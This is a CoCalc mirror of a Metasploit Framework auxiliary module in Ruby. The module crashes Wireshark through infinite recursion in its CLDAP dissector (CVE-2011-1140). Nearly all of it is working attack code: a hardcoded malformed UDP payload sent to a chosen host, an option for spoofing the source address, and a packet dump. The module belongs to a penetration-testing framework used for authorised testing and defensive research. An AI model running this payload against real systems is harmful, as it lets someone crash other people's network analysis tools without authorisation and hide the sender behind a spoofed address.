Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/wireshark/cldap.rb
21538 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Udp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Wireshark CLDAP Dissector DOS',
15
'Description' => %q{
16
This module causes infinite recursion to occur within the
17
CLDAP dissector by sending a specially crafted UDP packet.
18
},
19
'Author' => ['joernchen <joernchen[at]phenoelit.de> (Phenoelit)'],
20
'License' => MSF_LICENSE,
21
'References' => [
22
[ 'CVE', '2011-1140'],
23
[ 'OSVDB', '71552'],
24
[ 'URL', 'https://www.wireshark.org/security/wnpa-sec-2011-04.html' ],
25
[ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5717' ],
26
],
27
'DisclosureDate' => '2011-03-01',
28
'Notes' => {
29
'Stability' => [CRASH_SERVICE_DOWN],
30
'SideEffects' => [],
31
'Reliability' => []
32
}
33
)
34
)
35
36
register_options([
37
OptInt.new('RPORT', [true, 'The destination port', 389]),
38
OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil])
39
])
40
end
41
42
def run
43
connect_udp
44
cldap_payload = "\x30\x81\xa2\x02\x01\x01\x64\x81\x9c\x04\x00\x30\x81\x97\x30\x81" \
45
"\x94\x04\x08\x6e\x65\x74\x6c\x6f\x67\x6f\x6e\x31\x81\x87\x04\x81" \
46
"\x84\x17\x00\x00\x00\xfd\x03\x00\x00\xda\xae\x52\xd0\x2f\xb4\xa9" \
47
"\x48\x8b\x16\x4e\xbc\x51\xf9\x60\xb4\xc0\x1a\xc0\x18\x0e\x63\x6f" \
48
"\x6e\x74\x61\x63\x74\x2d\x73\x61\x6d\x62\x61\x34\xc0\x18\x0a\x43" \
49
"\x4f\x4e\x54\x41\x43\x54\x44\x4f\x4d\x00\x10\x5c\x5c\x43\x4f\x4e" \
50
"\x54\x41\x43\x54\x2d\x53\x41\x4d\x42\x41\x34\x00\x00\x00\x00\xc0" \
51
"\x61\x05\x00\x00\x00\xff\xff\xff\xff\x30\x0c\x02\x01\x01\x65\x07" \
52
"\x0a\x01\x00\x04\x00\x04\x00"
53
print_status("Sending malformed CLDAP packet to #{rhost}")
54
udp_sock.put(cldap_payload)
55
end
56
end
57
=begin
58
Packet Dump:
59
0000050: b054 3081 a202 0101 6481 9c04 0030 8197 .T0.....d....0..
60
0000060: 3081 9404 086e 6574 6c6f 676f 6e31 8187 0....netlogon1..
61
0000070: 0481 8417 0000 00fd 0300 00da ae52 d02f .............R./
62
0000080: b4a9 488b 164e bc51 f960 b4c0 1ac0 180e ..H..N.Q.`......
63
0000090: 636f 6e74 6163 742d 7361 6d62 6134 c018 contact-samba4..
64
00000a0: 0a43 4f4e 5441 4354 444f 4d00 105c 5c43 .CONTACTDOM..\\C
65
00000b0: 4f4e 5441 4354 2d53 414d 4241 3400 0000 ONTACT-SAMBA4...
66
00000c0: 00c0 6105 0000 00ff ffff ff30 0c02 0101 ..a........0....
67
00000d0: 6507 0a01 0004 0004 00 e........
68
=end
69
70